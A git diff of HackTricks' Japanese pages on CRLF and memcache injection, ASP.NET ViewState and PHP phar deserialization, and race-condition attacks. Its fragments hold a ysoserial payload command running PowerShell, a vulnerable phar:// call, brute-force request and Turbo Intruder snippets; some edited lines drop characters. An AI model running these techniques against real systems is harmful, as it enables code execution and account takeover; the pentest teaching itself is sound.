次に、**2番目のリクエストを指定**します。ここでは、サーバーがインジェクション後に追加する**追加のヘッダー/ボディ**を含む、**クラシックな**[**リクエストスマグリング**](http-request-smuggling/)の例です。\
次に、**2番目のリクエストを指定**します。ここでは、サーバーがインジェクション後に追加する**追加のヘッダー/ボディ**を持つ、**クラシックな**[**リクエストスマグリング**](http-request-smuggling/)があります。\
クロスユーザーの悪用のための多くのオプションのうち、2つを紹介します。
次のユーザーのリクエストまたはウェブキャッシュを汚染するための**悪意のある接頭辞**を指定します。
@ -160,19 +160,19 @@ GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0
### Memcacheインジェクション
Memcacheは、クリアテキストプロトコルを使用する**キーバリューストア**です。詳細は以下を参照してください:
Memcacheは、クリアテキストプロトコルを使用する**キーバリューストア**です。詳細はを参照してください:
{% content-ref url="../network-services-pentesting/11211-memcache/" %}
[11211-memcache](../network-services-pentesting/11211-memcache/)
{% endcontent-ref %}
もしプラットフォームが**HTTPリクエストからデータを取得し、サニタイズせずに**それを使用して**memcache**サーバーに**リクエスト**を行う場合、攻撃者はこの動作を悪用して**新しいmemcacheコマンドを注入**することができます。
もしプラットフォームが**HTTPリクエストからデータを取得し、サニタイズせずに**それを使用して**memcache**サーバーに**リクエスト**を実行する場合、攻撃者はこの動作を悪用して**新しいmemcacheコマンドを注入**することができます。
例えば、元々の脆弱性では、キャッシュキーが使用され、ユーザーが接続するためのIPとポートが返されました。攻撃者は**memcacheコマンドを注入**して、被害者の詳細(ユーザ名とパスワードを含む)を攻撃者のサーバーに送信することができました
例えば、元々の脆弱性が発見された場合、キャッシュキーはユーザーが接続するためのIPとポートを返すために使用され、攻撃者は**memcacheコマンドを注入**して、被害者の詳細(ユーザ名とパスワードを含む)を攻撃者のサーバーに送信することができました
<figure><img src="../.gitbook/assets/image (6) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (6) (1) (4).png" alt=""><figcaption></figcaption></figure>
さらに、研究者は、memcacheのレスポンスをデシンクさせることで、攻撃者がメールアドレスを知らないユーザーに攻撃者のIPとポートを送信することができることも発見しました
さらに、研究者は、memcacheのレスポンスをデシンクさせることで、攻撃者がメールアドレスを知らないユーザーに攻撃者のIPとポートを送信することができることも発見しました
<figure><img src="../.gitbook/assets/image (40).png" alt=""><figcaption></figcaption></figure>
@ -186,7 +186,7 @@ CRLFインジェクションの影響はさまざまであり、クロスサイ
### WebアプリケーションでのCRLF / HTTPヘッダーインジェクションの防止方法
も効果的な予防技術は、ユーザーの入力を直接レスポンスヘッダー内で使用しないことです。それが不可能な場合は、CRLF特殊文字をエンコードするための関数を常に使用する必要があります。また、HTTPヘッダーを設定する関数内にCRとLFを注入できないバージョンのプログラミング言語にアップデートすることも、良いWebアプリケーションセキュリティのベストプラクティスです。
良の予防技術は、ユーザーの入力を直接レスポンスヘッダー内で使用しないことです。それが不可能な場合は、CRLF特殊文字をエンコードするために常に関数を使用する必要があります。また、HTTPヘッダーを設定する関数内にCRとLFを注入できないバージョンのプログラミング言語にアップデートすることも、良いWebアプリケーションセキュリティのベストプラクティスです。
### チートシート
```
@ -223,7 +223,7 @@ CRLFインジェクションの影響はさまざまであり、クロスサイ
* [**https://www.acunetix.com/websitesecurity/crlf-injection/**](https://www.acunetix.com/websitesecurity/crlf-injection/)
* [**https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning**](https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning)
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
もしあなたが**ハッキングのキャリア**に興味があり、**解読不可能なものをハック**したい場合 - **採用中です!** (_流暢なポーランド語の読み書きが必要です_).
@ -233,7 +233,7 @@ CRLFインジェクションの影響はさまざまであり、クロスサイ
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* あなたは**サイバーセキュリティ企業**で働いていますか? HackTricksであなたの**会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手**したいですか、またはHackTricksをPDFでダウンロードしたいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* あなたは**サイバーセキュリティ企業**で働いていますか? HackTricksであなたの**会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション
* [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**

View file

@ -4,7 +4,7 @@
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
* [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
@ -12,7 +12,7 @@
</details>
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
**ハッキングのキャリア**に興味がある方、そして**解読不可能なものをハック**したい方 - **採用中です!**(流暢なポーランド語の読み書きが必要です)。
@ -34,7 +34,7 @@ ViewState情報には、次のプロパティまたはプロパティの組み
![](<../../.gitbook/assets/image (309) (2).png>)
### テストケース1 EnableViewStateMac=false および viewStateEncryptionMode=false
### テストケース1 EnableViewStateMac=falseおよびviewStateEncryptionMode=false
また、`AspNetEnforceViewStateMac`レジストリキーをゼロに設定することで、ViewStateMACを完全に無効にすることも可能です。設定場所は以下の通りです
```
@ -53,12 +53,13 @@ ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "power
### テストケース 1.5 - テストケース 1と同様ですが、ViewStateクッキーがサーバーから送信されません
開発者は、ViewStateがHTTPリクエストの一部にならないようにすることができますユーザーはこのクッキーを受け取りません
ViewStateが存在しない場合、ViewStateの逆シリアル化に起因する潜在的な脆弱性から実装が安全であると想定することができます。
しかし、それは事実ではありません。ysoserialを使用して作成したシリアル化ペイロードをリクエストボディにViewStateパラメータとして追加し、コードの実行を依然として達成することができます。これはケース1で示されています。
ViewStateが存在しない場合、ViewStateの逆シリアル化に起因する潜在的な脆弱性から実装が安全であると想定するかもしれません。
しかし、それは事実ではありません。ysoserialを使用して作成したシリアル化ペイロードをリクエストボディにViewStateパラメータとして追加し、
テストケース 1で示したように、コードの実行を依然として達成することができます。
### テストケース: 2 - .Net < 4.5 および EnableViewStateMac=true & ViewStateEncryptionMode=false
### テストケース 2 - .Net < 4.5 および EnableViewStateMac=true & ViewStateEncryptionMode=false
特定のページでViewState MACを有効にするには、特定のaspxファイルに以下の変更を加える必要があります:
特定のページでViewState MACを有効にするには、特定のaspxファイルに以下の変更を加える必要があります
```bash
<%@ Page Language="C#" AutoEventWireup="true" CodeFile="hello.aspx.cs" Inherits="hello" enableViewStateMac="True"%>
```
@ -164,7 +165,7 @@ IISDirPathとTargetPagePathの詳細な説明については、[こちら](https
![](https://notsosecure.com/sites/all/assets/group/nss\_uploads/2019/06/4.1.png)
または、[**Badsecrets**](https://github.com/blacklanternsecurity/badsecrets)(ジェネレータの値を使用)を使用してください。
または、[**Badsecrets**](https://github.com/blacklanternsecurity/badsecrets)を使用して(ジェネレータの値を指定して):
```
cd badsecrets
python examples/blacklist3r.py --viewstate JLFYOOegbdXmPjQou22oT2IxUwCAzSA9EAxD6+305e/4MQG7G1v5GI3wL7D94W2OGpVGrI2LCqEwDoS/8JkE0rR4ak0= --generator B2774415
@ -183,8 +184,8 @@ ViewStateの逆シリアル化の脆弱性が成功裏に悪用されると、
### テストケース6 - ViewStateUserKeysが使用されています
**ViewStateUserKey**プロパティは、**CSRF攻撃**に対して**防御**するために使用することができます。アプリケーションでこのようなキーが定義されており、今までに説明した方法で**ViewState**ペイロードを生成しようとすると、**アプリケーションによってペイロード処理されない**でしょう。\
正しくペイロードを作成するためには、さらに1つのパラメータを使用する必要があります
**ViewStateUserKey**プロパティは、**CSRF攻撃**に対して**防御**するために使用することができます。アプリケーションでこのようなキーが定義されており、今までに説明した方法で**ViewState**ペイロードを生成しようとすると、**アプリケーションによってペイロード処理されない**でしょう。\
正しくペイロードを作成するためには、もう1つのパラメータを使用する必要があります
```bash
--viewstateuserkey="randomstringdefinedintheserver"
```
@ -205,9 +206,9 @@ ViewStateの逆シリアル化の脆弱性が成功裏に悪用されると、
* [**https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/**](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/)
* [**https://blog.blacklanternsecurity.com/p/introducing-badsecrets**](https://blog.blacklanternsecurity.com/p/introducing-badsecrets)
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
もしあなたが**ハッキングのキャリア**に興味があり、解読不能なものを解読することに興味があるなら、**私たちは採用しています**(流暢なポーランド語の読み書きが必要です)。
もしあなたが**ハッキングのキャリア**に興味があり、解読不能なものを解読することに興味があるなら、**採用しています**(流暢なポーランド語の読み書きが必要です)。
{% embed url="https://www.stmcyber.com/careers" %}
@ -216,7 +217,7 @@ ViewStateの逆シリアル化の脆弱性が成功裏に悪用されると、
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* あなたは**サイバーセキュリティ企業**で働いていますか? HackTricksであなたの**会社を宣伝**したいですかまたは、最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロードしたりしたいですか[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[NFT](https://opensea.io/collection/the-peass-family)のコレクションです。
* [**公式のPEASSHackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**してください。
* **ハッキングのトリックを共有するには、**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **および** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。**

View file

@ -1,28 +1,28 @@
# phar://デシリアライゼーション
# phar://デシリアライ
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです
* [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)****
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです
* [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
</details>
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
**ハッキングのキャリア**に興味がある方、**解読不能なものをハック**したい方 - **採用中です!**(流暢なポーランド語の読み書きが必要です)。
{% embed url="https://www.stmcyber.com/careers" %}
**Phar**ファイルPHPアーカイブファイルには、シリアル化された形式でメタデータが含まれています。そのため、解析されるとこのメタデータがデシリアライズされ、**PHP**コード内の**デシリアライズ**の脆弱性を悪用することができます。
**Phar**ファイルPHPアーカイブファイルには、**シリアル化された形式のメタデータ**が含まれています。そのため、解析されるとこの**メタデータ****デシリアライズ**され、**PHP**コード内の**デシリアライズ**の脆弱性を悪用することができます。
この特性の最も良い点は、**file\_get\_contents()、fopen()、file()、file\_exists()、md5\_file()、filemtime()、filesize()**など、PHPコードを評価しないPHP関数を使用しても、このデシリアライズが発生することです。
したがって、**`phar://`**プロトコルを使用してPHPウェブサイトが任意のファイルのサイズを取得する状況を想像してみてください。そして、コードの中に次のような**クラス**を見つけることができます:
したがって、**`phar://`**プロトコルを使用してPHPウェブが任意のファイルのサイズを取得する状況を想像してみてください。そして、コードの中に次のような**クラス**を見つけます:
{% code title="vunl.php" %}
```php
@ -42,7 +42,7 @@ filesize("phar://test.phar"); #The attacker can control this path
```
{% endcode %}
**phar**ファイルを作成することができます。このファイルをロードすると、次のようなコマンドを実行するためにこのクラスを悪用します。
**phar**ファイルを作成することができます。こをロードすると、次のようなコマンドを実行するためにこのクラスを悪用します。
{% code title="create_phar.php" %}
```php
@ -85,7 +85,7 @@ php vuln.php
{% embed url="https://blog.ripstech.com/2018/new-php-exploitation-technique/" %}
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
もしあなたが**ハッキングのキャリア**に興味があり、**解読不能なものをハック**したいのであれば - **私たちは採用しています!** (_流暢なポーランド語の読み書きが必要です_).
@ -95,7 +95,7 @@ php vuln.php
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* あなたは**サイバーセキュリティ企業**で働いていますか? HackTricksであなたの**会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* あなたは**サイバーセキュリティ企業**で働いていますか? HackTricksであなたの**会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション
* [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**

View file

@ -12,11 +12,11 @@
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* **サイバーセキュリティ企業で働いていますか** **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション
* **サイバーセキュリティ企業で働いていますか** **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション
* [**公式のPEASSHackTricks swag**](https://peass.creator-spring.com)を手に入れましょう
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **ハッキングのトリックを共有する**ために、[**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks)と[**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **ハッキングのトリックを共有するには、PRを**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に送信してください。**
</details>
@ -24,14 +24,14 @@
RCの悪用の主な問題は、リクエストが非常に短い時間差通常> 1msで並行して処理される必要があることです。次のセクションでは、これを可能にするためのさまざまな解決策が提案されています。
<figure><img src="../.gitbook/assets/image (5).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (5) (1).png" alt=""><figcaption></figcaption></figure>
### シングルパケット攻撃HTTP/2/ ラストバイト同期HTTP/1.1
HTTP2では、**1つのTCP接続で2つのリクエストを送信**できますHTTP/1.1では順次送信する必要があります)。\
1つのTCPパケットの使用は、ネットワークの揺らぎの影響を完全に**排除**するため、レースコンディション攻撃にも潜在的な可能性があります。ただし、**2つのリクエストでは信頼性のあるレース攻撃には十分ではありません**。これは、**サーバーサイドの揺らぎ**CPUの競合などの制御できない変数によって引き起こされるアプリケーションのリクエスト処理時間の変動ためです。
HTTP2では、**1つのTCP接続で2つのリクエスト**を送信できますHTTP/1.1では順次送信する必要があります)。\
1つのTCPパケットの使用は、ネットワークの揺らぎの影響を完全に**排除**するため、これは明らかにレースコンディション攻撃の可能性も持っています。ただし、**2つのリクエストでは信頼性のあるレース攻撃には十分ではありません**。これは、**サーバーサイドの揺らぎ**CPUの競合などの制御できない変数によって引き起こされるアプリケーションのリクエスト処理時間の変動によるものです。
しかし、HTTP/1.1の '**ラストバイト同期**' 技術を使用すると、各リクエストからわずかなフラグメントを保留し、その後、**1つのTCPパケットで2030のリクエストを完了**することができます。
しかし、HTTP/1.1の '**ラストバイト同期**' 技術を使用すると、各リクエストからわずかなフラグメントを保留し、その後、**1つのTCPパケットで20-30のリクエストを完了**することができます。
**各リクエストの大部分を事前に送信**するには:
@ -50,19 +50,19 @@ HTTP2では、**1つのTCP接続で2つのリクエストを送信**できます
特定のサーバーの静的ファイルでは**機能しません**が、静的ファイルはレースコンディション攻撃には関係ありません。しかし、静的ファイルはRC攻撃には関係ありません。
{% endhint %}
この技術を使用すると、ネットワークの揺らぎに関係なく、2030のリクエストがサーバーに同時に到着することができます。
この技術を使用すると、ネットワークの揺らぎに関係なく、20-30のリクエストがサーバーに同時に到着することができます。
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
**ターゲットアーキテクチャに適応する**
多くのアプリケーションはフロントエンドサーバーの背後にあり、これらは一部のリクエストを既存の接続を介してバックエンドに転送し、他のリクエストに対しては新しい接続を作成する場合があります。
そのため、アプリケーションの動作による一貫性のないリクエストタイミングをロックメカニズムなどのアプリケーションの動作に帰することは重要ではありません。また、フロントエンドのリクエストルーティングは通常、接続ごとに行われるため、攻撃を実行する前にサーバーサイドの接続ウォーミングを実行することで、リクエストのタイミングをスムーズにすることができる場合があります(これは、実際の攻撃を開始する前にいくつかのリクエストを送信するだけです)。
そのため、アプリケーションの動作による一貫性のないリクエストタイミングをロックメカニズムなどのアプリケーションの動作に帰することは重要ではありません。また、フロントエンドのリクエストルーティングは通常、接続ごとに行われるため、攻撃を実行する前にいくつかの無関係なリクエストをサーバーサイドで行うことにより、リクエストのタイミングをスムーズにすることができる場合があります(これは、実際の攻撃を開始する前にいくつかのリクエストを送信するだけです)。
#### セッションベースのロックメカニズム <a href="#session-based-locking-mechanisms" id="session-based-locking-mechanisms"></a>
一部のフレームワークでは、**リクエストロック**の形式を使用して、データの誤った破損を防ぐことを試みています。たとえば、**PHPのネイティブセッションハンドラ**モジュールは、**1つのセッションあたり1つのリクエストのみ**を処理します。
一部のフレームワークでは、**リクエストロック**の形式を使用して、データの誤った破損を防ぐことを試みています。たとえば、**PHPのネイティブセッションハンドラ**モジュールは、**セッションごとに1つのリクエストのみを処理**します。
このような動作を見つけることは非常に重要です。なぜなら、すべてのリクエストが順次処理されていることに気付かないと、簡単に悪用できる脆弱性をマスクする可能性があるからです。すべてのリクエストが順次処理されていることに気付いた場合は、それぞれのリクエストを異なるセッショントークンを使用して送信してみてください。
#### **レート制限またはリソース制限の乱用**
@ -71,13 +71,13 @@ HTTP2では、**1つのTCP接続で2つのリクエストを送信**できます
Turbo Intruderを使用すると、クライアント側で短い遅延を導入することができます。ただし、これには実際の攻撃リクエストを複数のTCPパケットに分割する必要があるため、シングルパケット攻撃技術を使用することはできません。その結果、高ジッターターゲットでは、どのような遅延を設定しても攻撃が確実に機能しない可能性があります。
<figure><img src="../.gitbook/assets/image (2) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (2) (1) (1).png" alt=""><figcaption></figcaption></figure>
代わりに、一般的なセキュリティ機能を乱用することで、この問題を解決できる場合があります。
Webサーバーは、リクエストがあまりにも速く送信された場合に、リクエストの処理を遅延させることがよくあります。ダミーリクエストを大量に送信してレート制限またはリソース制限を意図的にトリガーすることで、適切なサーバーサイドの遅延を引き起こすことができるかもしれません。これにより、遅延実行が必要な場合でも、シングルパケット攻撃が実行可能になります。
Webサーバーは、リクエストがあまりにも速く送信された場合に、処理を遅延させることがよくあります。ダミーリクエストを大量に送信してレート制限またはリソース制限を意図的にトリガーすることで、適切なサーバーサイドの遅延を引き起こすことができるかもしれません。これにより、遅延実行が必要な場合でも、シングルパケット攻撃が実行可能になります。
<figure><img src="../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
{% hint style="warning" %}
この技術についての詳細は、[https://portswigger.net/research/smashing-the-state-machine](https://portswigger.net/research/smashing-the-state-machine)の元のレポートを参照してください。
@ -85,11 +85,11 @@ Webサーバーは、リクエストがあまりにも速く送信された場
#### 攻撃の例
* **Tubo Intruder - HTTP2シングルパケット攻撃1エンドポイント**:リクエストを**Turbo Intruder**`Extensions` -> `Turbo Intruder` -> `Send to Turbo Intruder`)に送信することができます。リクエスト内の**`%s`**のようなブルートフォースしたい値を変更し、ドロップダウンから**`examples/race-single-packer-attack.py`**を選択します
* **Tubo Intruder - HTTP2シングルパケット攻撃1エンドポイント**:リクエストを**Turbo Intruder**`Extensions` -> `Turbo Intruder` -> `Send to Turbo Intruder`)に送信することができます。リクエスト内のブルートフォースしたい値を**`%s`**のように変更し、`csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s`のように選択します。次に、ドロップダウンから**`examples/race-single-packer-attack.py`**を選択します
<figure><img src="../.gitbook/assets/image (4).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (4) (1).png" alt=""><figcaption></figcaption></figure>
**異なる値を送信する**場合は、クリップボードからワードリストを使用する次のコードに変更できます。
**異なる値を送信する**場合は、クリップボードからワードリストを使用するこのコードに変更できます:
```python
passwords = wordlists.clipboard
for password in passwords:
@ -136,7 +136,7 @@ engine.openGate(currentAttempt)
* 2つのサブステートステップで**1つのリクエストともう1つのリクエストの間の処理を遅延**させる場合、両方のリクエストの間に**追加のリクエストを追加**することができます。
* **multi-endpoint**のRCの場合、**隠れた状態に移動するリクエスト**を送信し、その後**その隠れた状態を悪用するリクエストを50回**送信します。
<figure><img src="../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
### Raw BF
@ -195,7 +195,7 @@ asyncio.run(main())
```
## **RCの方法論**
### 制限オーバーラン/TOCTOU
### 制限超過/TOCTOU
